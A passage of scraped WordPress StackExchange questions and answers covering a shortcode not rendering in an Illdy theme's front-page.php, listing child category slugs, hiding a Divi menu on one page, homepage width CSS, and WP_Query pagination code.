if( have_posts() ):
while( have_posts() ):
the_post();
get_template_part( 'template-parts/content', get_post_format() );
endwhile;
else:
get_template_part( 'template-parts/content', 'none' );
endif;
?>
<?php do_action( 'illdy_after_content_above_footer' ); ?>
</section><!--/#blog-->
</div><!--/.col-sm-7-->
<?php get_sidebar(); ?>
</div><!--/.row-->
</div><!--/.container-->
<?php
else:
$sections_order_first_section = get_theme_mod( 'illdy_general_sections_order_first_section', 1 );
$sections_order_second_section = get_theme_mod( 'illdy_general_sections_order_second_section', 2 );
$sections_order_third_section = get_theme_mod( 'illdy_general_sections_order_third_section', 3 );
$sections_order_fourth_section = get_theme_mod( 'illdy_general_sections_order_fourth_section', 4 );
$sections_order_fifth_section = get_theme_mod( 'illdy_general_sections_order_fifth_section', 5 );
$sections_order_sixth_section = get_theme_mod( 'illdy_general_sections_order_sixth_section', 6 );
$sections_order_seventh_section = get_theme_mod( 'illdy_general_sections_order_seventh_section', 7 );
$sections_order_eighth_section = get_theme_mod( 'illdy_general_sections_order_eighth_section', 8 );
if( have_posts() ):
while( have_posts() ): the_post();
$static_page_content = get_the_content();
if ( $static_page_content != '' ) : ?>
<section class="front-page-section" id="static-page-content">
<div class="section-header">
<div class="container">
<div class="row">
<div class="col-sm-12">
<h3><?php the_title(); ?></h3>
</div><!--/.col-sm-12-->
</div><!--/.row-->
</div><!--/.container-->
</div><!--/.section-header-->
<div class="section-content">
<div class="container-fluid">
<div class="row">
<div class="col-sm-10 col-sm-offset-1">
<?php echo $static_page_content; ?>
</div>
</div>
</div>
</div>
</section>
<?php endif;
endwhile;
endif;
if( $sections_order_first_section ):
illdy_sections_order( $sections_order_first_section );
endif;
if( $sections_order_second_section ):
illdy_sections_order( $sections_order_second_section );
endif;
if( $sections_order_third_section ):
illdy_sections_order( $sections_order_third_section );
endif;
if( $sections_order_fourth_section ):
illdy_sections_order( $sections_order_fourth_section );
endif;
if( $sections_order_fifth_section ):
illdy_sections_order( $sections_order_fifth_section );
endif;
if( $sections_order_sixth_section ):
illdy_sections_order( $sections_order_sixth_section );
endif;
if( $sections_order_seventh_section ):
illdy_sections_order( $sections_order_seventh_section );
endif;
if( $sections_order_eighth_section ):
illdy_sections_order( $sections_order_eighth_section );
endif;
endif;
get_footer(); ?>
</code></pre>
| [
{
"answer_id": 254122,
"author": "Dustin Snider",
"author_id": 109640,
"author_profile": "https://wordpress.stackexchange.com/users/109640",
"pm_score": 3,
"selected": true,
"text": "<p>It looks like you need to change your front-page.php page, you are using the wrong variable.</p>\n\n<pre><code>$static_page_content = get_the_content();\n</code></pre>\n\n<p>to</p>\n\n<pre><code>$static_page_content = the_content();\n</code></pre>\n\n<p>Edit: I see you just updated your question to this, yes this will work fine. Shouldn't see any negative side effects from this.</p>\n"
},
{
"answer_id": 402897,
"author": "user3729206",
"author_id": 219451,
"author_profile": "https://wordpress.stackexchange.com/users/219451",
"pm_score": 0,
"selected": false,
"text": "<p>Good job you guy's ! I've tried this code and it works perfectly.\nI've just need to reduce the width of the front page.</p>\n"
}
]
| 2017/01/26 | [
"https://wordpress.stackexchange.com/questions/254121",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111853/"
]
| A shortcode from a plugin I am trying to use is not working on my static front page, it only shows as plain shortcode text but It works well on all of my other pages.
I'm using Illdy theme, I've already asked about this issue on their forum but I have a feeling that the issue is in my `front-page.php` file. Is there anything missing or extra in my `front-page.php` file that is preventing the shortcode from working?
**UPDATE**: in front-page.php, I changed get\_the\_content() to the\_content() and I fixed my issue. Is this a good fix? Can I feel comfortable in making this change?
Here's my front-page.php:
```
<?php
/**
* The template for displaying the front page.
*
* @package WordPress
* @subpackage illdy
*/
get_header();
if( get_option( 'show_on_front' ) == 'posts' ): ?>
<div class="container">
<div class="row">
<div class="col-sm-7">
<section id="blog">
<?php do_action( 'illdy_above_content_after_header' ); ?>
<?php
if( have_posts() ):
while( have_posts() ):
the_post();
get_template_part( 'template-parts/content', get_post_format() );
endwhile;
else:
get_template_part( 'template-parts/content', 'none' );
endif;
?>
<?php do_action( 'illdy_after_content_above_footer' ); ?>
</section><!--/#blog-->
</div><!--/.col-sm-7-->
<?php get_sidebar(); ?>
</div><!--/.row-->
</div><!--/.container-->
<?php
else:
$sections_order_first_section = get_theme_mod( 'illdy_general_sections_order_first_section', 1 );
$sections_order_second_section = get_theme_mod( 'illdy_general_sections_order_second_section', 2 );
$sections_order_third_section = get_theme_mod( 'illdy_general_sections_order_third_section', 3 );
$sections_order_fourth_section = get_theme_mod( 'illdy_general_sections_order_fourth_section', 4 );
$sections_order_fifth_section = get_theme_mod( 'illdy_general_sections_order_fifth_section', 5 );
$sections_order_sixth_section = get_theme_mod( 'illdy_general_sections_order_sixth_section', 6 );
$sections_order_seventh_section = get_theme_mod( 'illdy_general_sections_order_seventh_section', 7 );
$sections_order_eighth_section = get_theme_mod( 'illdy_general_sections_order_eighth_section', 8 );
if( have_posts() ):
while( have_posts() ): the_post();
$static_page_content = get_the_content();
if ( $static_page_content != '' ) : ?>
<section class="front-page-section" id="static-page-content">
<div class="section-header">
<div class="container">
<div class="row">
<div class="col-sm-12">
<h3><?php the_title(); ?></h3>
</div><!--/.col-sm-12-->
</div><!--/.row-->
</div><!--/.container-->
</div><!--/.section-header-->
<div class="section-content">
<div class="container-fluid">
<div class="row">
<div class="col-sm-10 col-sm-offset-1">
<?php echo $static_page_content; ?>
</div>
</div>
</div>
</div>
</section>
<?php endif;
endwhile;
endif;
if( $sections_order_first_section ):
illdy_sections_order( $sections_order_first_section );
endif;
if( $sections_order_second_section ):
illdy_sections_order( $sections_order_second_section );
endif;
if( $sections_order_third_section ):
illdy_sections_order( $sections_order_third_section );
endif;
if( $sections_order_fourth_section ):
illdy_sections_order( $sections_order_fourth_section );
endif;
if( $sections_order_fifth_section ):
illdy_sections_order( $sections_order_fifth_section );
endif;
if( $sections_order_sixth_section ):
illdy_sections_order( $sections_order_sixth_section );
endif;
if( $sections_order_seventh_section ):
illdy_sections_order( $sections_order_seventh_section );
endif;
if( $sections_order_eighth_section ):
illdy_sections_order( $sections_order_eighth_section );
endif;
endif;
get_footer(); ?>
``` | It looks like you need to change your front-page.php page, you are using the wrong variable.
```
$static_page_content = get_the_content();
```
to
```
$static_page_content = the_content();
```
Edit: I see you just updated your question to this, yes this will work fine. Shouldn't see any negative side effects from this. |
254,160 | <p>I need to create an Array that contains all of the children slugs of a specific parent category ID.</p>
<p>Let's say I have the following parent category and its children categories:</p>
<ol>
<li>Food
<ul>
<li>pizza</li>
<li>bread</li>
<li>banana</li>
<li>ice cream</li>
</ul></li>
</ol>
<p>I need a code/function to use inside <code>functions.php</code> that returns the slugs of all of the children's slug of a specific parent category like this:</p>
<pre><code>function-get-child-slug( $parentID='1');
</code></pre>
<p>It returns this:</p>
<pre><code>array('pizza','bread','banana','ice-cream')
</code></pre>
<hr>
<p>I've tried some variants of this but it didn't work:</p>
<pre><code>$var = wp_list_categories( array(
'child_of' => 1,
'echo' =>false
) );
$array = array(strip_tags($var));
</code></pre>
<p>How can I achieve this?</p>
| [
{
"answer_id": 254162,
"author": "Howdy_McGee",
"author_id": 7355,
"author_profile": "https://wordpress.stackexchange.com/users/7355",
"pm_score": 2,
"selected": true,
"text": "<p>You can use <a href=\"https://developer.wordpress.org/reference/functions/get_terms/\" rel=\"nofollow noreferrer\"><code>get_terms()</code></a> to get an array of child slugs:</p>\n\n<pre><code>/**\n * Get child term slugs from given term parent\n *\n * @param Integer $parent_id ( Parent Term ID )\n * @param String $taxonomy ( Taxonomy Slug )\n *\n * @return Array( $term_id => $child_slug )\n */\nfunction get_child_slugs( $parent_id = 0, $taxonomy = 'category' ) {\n return get_terms( array(\n 'taxonomy' => $taxonomy,\n 'parent' => $parent_id,\n 'fields' => 'id=>slug',\n ) );\n}\n</code></pre>\n\n<p>This should return a simple array of <code>array( $term_id => $term_slug )</code> assuming a valid parent term ID and valid taxonomy is supplied.</p>\n"
},
{
"answer_id": 254166,
"author": "Ismail",
"author_id": 70833,
"author_profile": "https://wordpress.stackexchange.com/users/70833",
"pm_score": 0,
"selected": false,
"text": "<p>There's this <a href=\"https://codex.wordpress.org/Function_Reference/get_term_children\" rel=\"nofollow noreferrer\"><code>get_term_children</code></a> function you can use to list the child categories of a given category, it returns the IDs of child cats if found, and <a href=\"https://codex.wordpress.org/Function_Reference/get_term\" rel=\"nofollow noreferrer\"><code>get_term</code></a> can be used to get category information rather than just an ID.</p>\n\n<pre><code>function get_child_slug($parent=1, $tax='category') {\n if ( !is_numeric($parent) ) {\n $parent = get_term_by('name', $parent, $tax);\n } else {\n $parent = get_term( $parent );\n }\n\n if ( empty( $parent->term_id ) )\n return array();\n\n $children = get_term_children( $parent->term_id, $tax );\n\n if ( $children ) {\n $children = array_map('get_term', $children);\n }\n\n return $children;\n}\n</code></pre>\n\n<p>Here's a dump test:</p>\n\n<pre><code>samuel@Samuel-PC:~/htdocs/multisite.dev/www$ wp eval 'print_r(get_child_slug(\"Food\"));'\nArray\n(\n [0] => WP_Term Object\n (\n [term_id] => 3\n [name] => pizza\n [slug] => pizza\n [term_group] => 0\n [term_taxonomy_id] => 3\n [taxonomy] => category\n [description] => \n [parent] => 2\n [count] => 0\n [filter] => raw\n )\n\n [1] => WP_Term Object\n (\n [term_id] => 4\n [name] => bread\n [slug] => bread\n [term_group] => 0\n [term_taxonomy_id] => 4\n [taxonomy] => category\n [description] => \n [parent] => 2\n [count] => 0\n [filter] => raw\n )\n\n [2] => WP_Term Object\n (\n [term_id] => 5\n [name] => banana\n [slug] => banana\n [term_group] => 0\n [term_taxonomy_id] => 5\n [taxonomy] => category\n [description] => \n [parent] => 2\n [count] => 0\n [filter] => raw\n )\n\n [3] => WP_Term Object\n (\n [term_id] => 6\n [name] => ice cream\n [slug] => ice-cream\n [term_group] => 0\n [term_taxonomy_id] => 6\n [taxonomy] => category\n [description] => \n [parent] => 2\n [count] => 0\n [filter] => raw\n )\n\n)\n</code></pre>\n\n<p>Hope that helps.</p>\n"
}
]
| 2017/01/26 | [
"https://wordpress.stackexchange.com/questions/254160",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111876/"
]
| I need to create an Array that contains all of the children slugs of a specific parent category ID.
Let's say I have the following parent category and its children categories:
1. Food
* pizza
* bread
* banana
* ice cream
I need a code/function to use inside `functions.php` that returns the slugs of all of the children's slug of a specific parent category like this:
```
function-get-child-slug( $parentID='1');
```
It returns this:
```
array('pizza','bread','banana','ice-cream')
```
---
I've tried some variants of this but it didn't work:
```
$var = wp_list_categories( array(
'child_of' => 1,
'echo' =>false
) );
$array = array(strip_tags($var));
```
How can I achieve this? | You can use [`get_terms()`](https://developer.wordpress.org/reference/functions/get_terms/) to get an array of child slugs:
```
/**
* Get child term slugs from given term parent
*
* @param Integer $parent_id ( Parent Term ID )
* @param String $taxonomy ( Taxonomy Slug )
*
* @return Array( $term_id => $child_slug )
*/
function get_child_slugs( $parent_id = 0, $taxonomy = 'category' ) {
return get_terms( array(
'taxonomy' => $taxonomy,
'parent' => $parent_id,
'fields' => 'id=>slug',
) );
}
```
This should return a simple array of `array( $term_id => $term_slug )` assuming a valid parent term ID and valid taxonomy is supplied. |
254,163 | <p>I’m trying to hide the menu page completely from this page:</p>
<p><a href="http://ultimate-templates.com/splash-page" rel="nofollow noreferrer">http://ultimate-templates.com/splash-page</a></p>
<p>I’m using Divi 3.0, and have tried – through online tutorials – to hide it using the following in my styles css sheet:</p>
<pre><code>.page-id-27820 top-menu-nav {
display: none important;
}
</code></pre>
<p>That didn’t do anything, aside from making the menu look a little weird (and dropping the search magnifying glass down a bit), and I removed the code – the search button still looks weird.</p>
<p>if anyone could help me with how to remove the menu completely (and logo etc) from that one page, I’d be very much appreciative!</p>
| [
{
"answer_id": 254164,
"author": "A.T",
"author_id": 111876,
"author_profile": "https://wordpress.stackexchange.com/users/111876",
"pm_score": -1,
"selected": false,
"text": "<p>Try this:</p>\n\n<p><code>.container.clearfix.et_menu_container {\n display: none;\n}</code></p>\n"
},
{
"answer_id": 254167,
"author": "kirillrocks",
"author_id": 111056,
"author_profile": "https://wordpress.stackexchange.com/users/111056",
"pm_score": 2,
"selected": false,
"text": "<p>Created a simple image for you on how to get page id and menu attributes.\n<a href=\"https://dl.dropboxusercontent.com/s/zibhieyo3s6a5bs/Mailbird_2017-01-27_00-57-39.png\" rel=\"nofollow noreferrer\">https://dl.dropboxusercontent.com/s/zibhieyo3s6a5bs/Mailbird_2017-01-27_00-57-39.png</a></p>\n\n<p>You need to get the page_id, exactly as you did:</p>\n\n<pre><code>.page-id-27820 \n</code></pre>\n\n<p>and hide the menu, like so:</p>\n\n<pre><code>.page-id-27820 #top-menu-nav {\n display: none;\n}\n</code></pre>\n\n<p>You forgot the # sign, which stand for html attribute <code>id</code></p>\n\n<pre><code>id = #\nclass = .\n</code></pre>\n"
},
{
"answer_id": 321046,
"author": "Mansoor",
"author_id": 155299,
"author_profile": "https://wordpress.stackexchange.com/users/155299",
"pm_score": 0,
"selected": false,
"text": "<p>I was having the same issue.</p>\n\n<p>I pasted below code to custom css in divi theme</p>\n\n<pre><code>.page-id-28577 #top-menu-nav {\n display: none;\n}\n</code></pre>\n\n<p><code>.page-id-28577</code> = body class of the page that I don't want to show menu on</p>\n"
},
{
"answer_id": 321117,
"author": "Liam Stewart",
"author_id": 121955,
"author_profile": "https://wordpress.stackexchange.com/users/121955",
"pm_score": 0,
"selected": false,
"text": "<p>Go to <code>header.php</code> and find the <code>wp_nav_menu();</code> function.</p>\n\n<p>Example:</p>\n\n<pre><code> <div class=\"main-navigation\">\n <?php wp_nav_menu(array('theme_location' => 'nav-name')); ?>\n </div>\n</code></pre>\n\n<p>You could wrap it in a check for the current page. <code>$post</code> is available as a global variable.</p>\n\n<pre><code><?php if($post->post_name !== 'splash-page'): ?>\n <div class=\"main-navigation\">\n <?php wp_nav_menu(array('theme_location' => 'nav-name')); ?>\n </div>\n</code></pre>\n\n\n"
}
]
| 2017/01/26 | [
"https://wordpress.stackexchange.com/questions/254163",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111884/"
]
| I’m trying to hide the menu page completely from this page:
<http://ultimate-templates.com/splash-page>
I’m using Divi 3.0, and have tried – through online tutorials – to hide it using the following in my styles css sheet:
```
.page-id-27820 top-menu-nav {
display: none important;
}
```
That didn’t do anything, aside from making the menu look a little weird (and dropping the search magnifying glass down a bit), and I removed the code – the search button still looks weird.
if anyone could help me with how to remove the menu completely (and logo etc) from that one page, I’d be very much appreciative! | Created a simple image for you on how to get page id and menu attributes.
<https://dl.dropboxusercontent.com/s/zibhieyo3s6a5bs/Mailbird_2017-01-27_00-57-39.png>
You need to get the page\_id, exactly as you did:
```
.page-id-27820
```
and hide the menu, like so:
```
.page-id-27820 #top-menu-nav {
display: none;
}
```
You forgot the # sign, which stand for html attribute `id`
```
id = #
class = .
``` |
254,173 | <pre><code>#container {
width: 75%;
float: right;
}
</code></pre>
<p>If I change the width to %100 it affects the entire site, i just want the homepage to be at 100% width and all other pages with sidebar 75%</p>
| [
{
"answer_id": 254175,
"author": "kidcoder",
"author_id": 111846,
"author_profile": "https://wordpress.stackexchange.com/users/111846",
"pm_score": 0,
"selected": false,
"text": "<p>Give the div an id</p>\n\n<p><strong>HTML</strong></p>\n\n<pre><code><div id=\"whatever\"> stuff in your div </div>\n</code></pre>\n\n<p>and then change it to 100% in your CSS file:</p>\n\n<p><strong>CSS</strong></p>\n\n<pre><code>#whatever { width:100%; }\n</code></pre>\n\n<p>Only that div with that ID will be affected.</p>\n"
},
{
"answer_id": 254176,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 1,
"selected": false,
"text": "<p>This is more a CSS than a WordPress question, but </p>\n\n<p>There are several ways to do this, but I think this is the easiest. WordPress themes should use the home class on the body tag and the site content area has a class of site-content, so to set the primary content area to full width, use:</p>\n\n<pre><code>.home .site-content {\n width: 100%;\n}\n</code></pre>\n\n<p>You'll have to hide the sidebars too. If you want to hide all of them:</p>\n\n<pre><code>.sidebar {\n display: none;\n}\n</code></pre>\n\n<p>If you're using WordPress 4.7+, you can easily add CSS via the Customizer->Additional CSS.</p>\n"
},
{
"answer_id": 254194,
"author": "Rishabh",
"author_id": 81621,
"author_profile": "https://wordpress.stackexchange.com/users/81621",
"pm_score": 0,
"selected": false,
"text": "<p>This problem can be solved with wordpress function like <code>is_home()</code> function is use to check whether current page is home page or not. You can use this function to apply css only on home page.</p>\n\n<p>There are two ways for it</p>\n\n<p>I am assuming you want to increase width of calss <code>.container</code>.</p>\n\n<ol>\n<li><p>In your <code>head</code> section of your <code>header.php</code> use function like this</p>\n\n<pre><code> <head>\n <?php if(is_home()){ ?>\n <style>\n .container{width:100%!important;}\n </style>\n <?php } ?>\n</head>\n</code></pre></li>\n</ol>\n\n<p>Above function in head section will do the trick and I have put <code>!important</code> with css property so it will overtake other property of this class. This <code>style</code> tag css will be apply only on home page because of <code>is_home()</code> function.</p>\n\n<ol start=\"2\">\n<li><p>The other way of doing this is inside <code>body</code> tag.\nFor example this is the div whose width you want to change</p>\n\n<pre><code><div class=\"container\"> \n//content....\n</div>\n</code></pre></li>\n</ol>\n\n<p>You can put condition on this div like this</p>\n\n<pre><code><?php if(is_home()){ ?>\n <div class=\"container\" style=\"width:100%!important;\"> \n <?php } else { ?>\n <div class=\"container\"> \n <?php } ?>\n//content....\n</div>\n</code></pre>\n\n<p>In above way I have directly put condition on div itself(only on beginning part of div not on closing part). So div with style attribure will be call on home page only and other div will be called on rest of the pages.</p>\n"
}
]
| 2017/01/27 | [
"https://wordpress.stackexchange.com/questions/254173",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111889/"
]
| ```
#container {
width: 75%;
float: right;
}
```
If I change the width to %100 it affects the entire site, i just want the homepage to be at 100% width and all other pages with sidebar 75% | This is more a CSS than a WordPress question, but
There are several ways to do this, but I think this is the easiest. WordPress themes should use the home class on the body tag and the site content area has a class of site-content, so to set the primary content area to full width, use:
```
.home .site-content {
width: 100%;
}
```
You'll have to hide the sidebars too. If you want to hide all of them:
```
.sidebar {
display: none;
}
```
If you're using WordPress 4.7+, you can easily add CSS via the Customizer->Additional CSS. |
254,199 | <pre><code><!-- query -->
<?php
$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
$query = new WP_Query( array(
'category_name' => 'investor-news',
'posts_per_page' => 2,
'paged' => $paged
) );
?>
<?php if ( $query->have_posts() ) : ?>
<!-- begin loop -->
<?php while ( $query->have_posts() ) : $query->the_post(); ?>
<h2><a href="<?php the_permalink(); ?>" title="Read"><?php the_title(); ?></a></h2>
<?php the_excerpt(); ?>
<?php echo get_the_date(); ?>
<?php endwhile; ?>
<!-- end loop -->
<!-- WHAT GOES HERE?????? -->
<?php wp_reset_postdata(); ?>
<?php else : ?>
<p><?php _e( 'Sorry, no posts matched your criteria.' ); ?></p>
<?php endif; ?>
</code></pre>
<p>I've tried everything to achieve pagination on this static page using the wp_query function but without any luck. There's a comment in this script called WHAT GOES HERE?????... so what goes here?</p>
<p>This is on a static page that is not the front page or the posts page.</p>
| [
{
"answer_id": 254200,
"author": "Dave Romsey",
"author_id": 2807,
"author_profile": "https://wordpress.stackexchange.com/users/2807",
"pm_score": 7,
"selected": true,
"text": "<p>Replace <code><!-- WHAT GOES HERE?????? --></code> with the pagination code below:</p>\n<pre><code><div class="pagination">\n <?php \n echo paginate_links( array(\n 'base' => str_replace( 999999999, '%#%', esc_url( get_pagenum_link( 999999999 ) ) ),\n 'total' => $query->max_num_pages,\n 'current' => max( 1, get_query_var( 'paged' ) ),\n 'format' => '?paged=%#%',\n 'show_all' => false,\n 'type' => 'plain',\n 'end_size' => 2,\n 'mid_size' => 1,\n 'prev_next' => true,\n 'prev_text' => sprintf( '<i></i> %1$s', __( 'Newer Posts', 'text-domain' ) ),\n 'next_text' => sprintf( '%1$s <i></i>', __( 'Older Posts', 'text-domain' ) ),\n 'add_args' => false,\n 'add_fragment' => '',\n ) );\n ?>\n</div>\n</code></pre>\n<p>WordPress comes with a handy function called <a href=\"https://codex.wordpress.org/Function_Reference/paginate_links\" rel=\"nofollow noreferrer\"><code>paginate_links()</code></a> which does the heavy lifting. In the example above, the custom WP_Query object <code>$query</code> is used instead of the global <code>$wp_query</code> object.</p>\n<p><strong>Edit:</strong>\nIn response to comment from @mark-in-motion, here's an example of a wrapper function for <code>paginate_links()</code> that I made a while back. You can add this to your theme's <code>functions.php</code>, then call <code>echo my_pagination();</code> in your template to display pagination.</p>\n<pre><code>/**\n * Numeric pagination via WP core function paginate_links().\n * @link http://codex.wordpress.org/Function_Reference/paginate_links\n *\n * @param array $args\n *\n * @return string HTML for numneric pagination\n */\nfunction my_pagination( $args = array() ) {\n global $wp_query;\n $output = '';\n\n if ( $wp_query->max_num_pages <= 1 ) {\n return;\n }\n\n $pagination_args = array(\n 'base' => str_replace( 999999999, '%#%', esc_url( get_pagenum_link( 999999999 ) ) ),\n 'total' => $wp_query->max_num_pages,\n 'current' => max( 1, get_query_var( 'paged' ) ),\n 'format' => '?paged=%#%',\n 'show_all' => false,\n 'type' => 'plain',\n 'end_size' => 2,\n 'mid_size' => 1,\n 'prev_next' => true,\n //'prev_text' => __( '&laquo; Prev', 'text-domain' ),\n //'next_text' => __( 'Next &raquo;', 'text-domain' ),\n //'prev_text' => __( '&lsaquo; Prev', 'text-domain' ),\n //'next_text' => __( 'Next &rsaquo;', 'text-domain' ),\n 'prev_text' => sprintf( '<i></i> %1$s',\n apply_filters( 'my_pagination_page_numbers_previous_text',\n __( 'Newer Posts', 'text-domain' ) )\n ),\n 'next_text' => sprintf( '%1$s <i></i>',\n apply_filters( 'my_pagination_page_numbers_next_text',\n __( 'Older Posts', 'text-domain' ) )\n ),\n 'add_args' => false,\n 'add_fragment' => '',\n\n // Custom arguments not part of WP core:\n 'show_page_position' => false, // Optionally allows the "Page X of XX" HTML to be displayed.\n );\n\n $pagination_args = apply_filters( 'my_pagination_args', array_merge( $pagination_args, $args ), $pagination_args );\n\n $output .= paginate_links( $pagination_args );\n\n // Optionally, show Page X of XX.\n if ( true == $pagination_args['show_page_position'] && $wp_query->max_num_pages > 0 ) {\n $output .= '<span class="page-of-pages">' .\n sprintf( __( 'Page %1s of %2s', 'text-domain' ), $pagination_args['current'], $wp_query->max_num_pages ) .\n '</span>';\n }\n\n return $output;\n}\n</code></pre>\n"
},
{
"answer_id": 285929,
"author": "suthanalley",
"author_id": 124808,
"author_profile": "https://wordpress.stackexchange.com/users/124808",
"pm_score": 4,
"selected": false,
"text": "<p>This code is for Custom Query Pagination. You can follow the steps to create your own pagination in WordPress.</p>\n\n<pre><code> <?php\n/**\n* Template Name: Custom Page\n*/\nget_header(); ?>\n\n<?php\n$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;\n$args = array(\n 'posts_per_page' => 4,\n 'paged' => $paged\n);\n$custom_query = new WP_Query( $args );\n?>\n <!----start-------->\n<div class=\"wrap\">\n<div id=\"primary\" class=\"content-area\">\n<main id=\"main\" class=\"site-main\" role=\"main\">\n\n<?php\n while($custom_query->have_posts()) :\n $custom_query->the_post();\n?>\n <div>\n <ul>\n <li>\n <h3><a href=\"<?php the_permalink(); ?>\" ><?php the_title(); ?></a></h3>\n <div>\n <ul>\n <div><a href=\"<?php the_permalink(); ?>\"><?php the_post_thumbnail('thumbnail'); ?></a></div>\n </ul>\n <ul>\n <p><?php echo the_content(); ?></p>\n </ul>\n </div>\n <div>\n </li>\n </ul>\n </div> <!-- end blog posts -->\n <?php endwhile; ?>\n <?php if (function_exists(\"pagination\")) {\n pagination($custom_query->max_num_pages);\n } ?>\n</main><!-- #main -->\n</div><!-- #primary -->\n</div><!-- .wrap -->\n <!----end-------->\n <?php get_footer();\n</code></pre>\n\n<p>Reference : <a href=\"https://www.wpblog.com/use-wp_query-to-create-pagination/\" rel=\"noreferrer\">https://www.wpblog.com/use-wp_query-to-create-pagination/</a></p>\n"
},
{
"answer_id": 378904,
"author": "iBazzo",
"author_id": 196109,
"author_profile": "https://wordpress.stackexchange.com/users/196109",
"pm_score": 2,
"selected": false,
"text": "<p>You can simply use a built-in WP function</p>\n<pre><code><?\nthe_posts_pagination()\n?>\n</code></pre>\n<p>It does the job very well with custom WP_Query</p>\n"
},
{
"answer_id": 388767,
"author": "Christopher S.",
"author_id": 127679,
"author_profile": "https://wordpress.stackexchange.com/users/127679",
"pm_score": 2,
"selected": false,
"text": "<p>If anyone arrives here attempting to create a wp_query with pagination from inside a shortcode:</p>\n<pre><code>\nadd_shortcode('wp_query_pagination_inside_shortcode', 'my_shortcode_function_tag');\nif (!function_exists('my_shortcode_function_tag')) {\n function my_shortcode_function_tag($atts)\n {\n ob_start(); // Turn output buffering on\n global $paged;\n $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;\n $atts = shortcode_atts(\n array(\n 'post_type' => 'post',\n // whatever you like\n ),\n $atts\n );\n $args = array(\n 'posts_per_page' => 3,\n 'paged' => $paged,\n 'post_type' => $atts['post_type'],\n 'orderby' => 'date',\n 'order' => 'DESC',\n );\n $the_query = new WP_Query($args);\n\n if ($the_query->have_posts()) {\n while ($the_query->have_posts()) {\n $the_query->the_post();\n get_template_part('template-parts/loop');\n } //end while\n\n $big = 999999999; // need an unlikely integer\n echo paginate_links(\n array(\n 'base' => str_replace($big, '%#%', esc_url(get_pagenum_link($big))),\n 'format' => '?paged=%#%',\n 'current' => max(\n 1,\n get_query_var('paged')\n ),\n 'total' => $the_query->max_num_pages //$q is your custom query\n )\n );\n } // Pagination inside the endif\n return ob_get_clean(); // Silently discard the buffer contents\n wp_reset_query(); // Lets go back to the main_query() after returning our buffered content\n }\n}\n</code></pre>\n"
}
]
| 2017/01/27 | [
"https://wordpress.stackexchange.com/questions/254199",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111846/"
]
| ```
<!-- query -->
<?php
$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
$query = new WP_Query( array(
'category_name' => 'investor-news',
'posts_per_page' => 2,
'paged' => $paged
) );
?>
<?php if ( $query->have_posts() ) : ?>
<!-- begin loop -->
<?php while ( $query->have_posts() ) : $query->the_post(); ?>
<h2><a href="<?php the_permalink(); ?>" title="Read"><?php the_title(); ?></a></h2>
<?php the_excerpt(); ?>
<?php echo get_the_date(); ?>
<?php endwhile; ?>
<!-- end loop -->
<!-- WHAT GOES HERE?????? -->
<?php wp_reset_postdata(); ?>
<?php else : ?>
<p><?php _e( 'Sorry, no posts matched your criteria.' ); ?></p>
<?php endif; ?>
```
I've tried everything to achieve pagination on this static page using the wp\_query function but without any luck. There's a comment in this script called WHAT GOES HERE?????... so what goes here?
This is on a static page that is not the front page or the posts page. | Replace `<!-- WHAT GOES HERE?????? -->` with the pagination code below:
```
<div class="pagination">
<?php
echo paginate_links( array(
'base' => str_replace( 999999999, '%#%', esc_url( get_pagenum_link( 999999999 ) ) ),
'total' => $query->max_num_pages,
'current' => max( 1, get_query_var( 'paged' ) ),
'format' => '?paged=%#%',
'show_all' => false,
'type' => 'plain',
'end_size' => 2,
'mid_size' => 1,
'prev_next' => true,
'prev_text' => sprintf( '<i></i> %1$s', __( 'Newer Posts', 'text-domain' ) ),
'next_text' => sprintf( '%1$s <i></i>', __( 'Older Posts', 'text-domain' ) ),
'add_args' => false,
'add_fragment' => '',
) );
?>
</div>
```
WordPress comes with a handy function called [`paginate_links()`](https://codex.wordpress.org/Function_Reference/paginate_links) which does the heavy lifting. In the example above, the custom WP\_Query object `$query` is used instead of the global `$wp_query` object.
**Edit:**
In response to comment from @mark-in-motion, here's an example of a wrapper function for `paginate_links()` that I made a while back. You can add this to your theme's `functions.php`, then call `echo my_pagination();` in your template to display pagination.
```
/**
* Numeric pagination via WP core function paginate_links().
* @link http://codex.wordpress.org/Function_Reference/paginate_links
*
* @param array $args
*
* @return string HTML for numneric pagination
*/
function my_pagination( $args = array() ) {
global $wp_query;
$output = '';
if ( $wp_query->max_num_pages <= 1 ) {
return;
}
$pagination_args = array(
'base' => str_replace( 999999999, '%#%', esc_url( get_pagenum_link( 999999999 ) ) ),
'total' => $wp_query->max_num_pages,
'current' => max( 1, get_query_var( 'paged' ) ),
'format' => '?paged=%#%',
'show_all' => false,
'type' => 'plain',
'end_size' => 2,
'mid_size' => 1,
'prev_next' => true,
//'prev_text' => __( '« Prev', 'text-domain' ),
//'next_text' => __( 'Next »', 'text-domain' ),
//'prev_text' => __( '‹ Prev', 'text-domain' ),
//'next_text' => __( 'Next ›', 'text-domain' ),
'prev_text' => sprintf( '<i></i> %1$s',
apply_filters( 'my_pagination_page_numbers_previous_text',
__( 'Newer Posts', 'text-domain' ) )
),
'next_text' => sprintf( '%1$s <i></i>',
apply_filters( 'my_pagination_page_numbers_next_text',
__( 'Older Posts', 'text-domain' ) )
),
'add_args' => false,
'add_fragment' => '',
// Custom arguments not part of WP core:
'show_page_position' => false, // Optionally allows the "Page X of XX" HTML to be displayed.
);
$pagination_args = apply_filters( 'my_pagination_args', array_merge( $pagination_args, $args ), $pagination_args );
$output .= paginate_links( $pagination_args );
// Optionally, show Page X of XX.
if ( true == $pagination_args['show_page_position'] && $wp_query->max_num_pages > 0 ) {
$output .= '<span class="page-of-pages">' .
sprintf( __( 'Page %1s of %2s', 'text-domain' ), $pagination_args['current'], $wp_query->max_num_pages ) .
'</span>';
}
return $output;
}
``` |
254,257 | <p>Within a span, the shortcode output works:</p>
<pre><code><span>[sola_testimonials_count type='all']</span>
Result:
<span>5,205</span>
</code></pre>
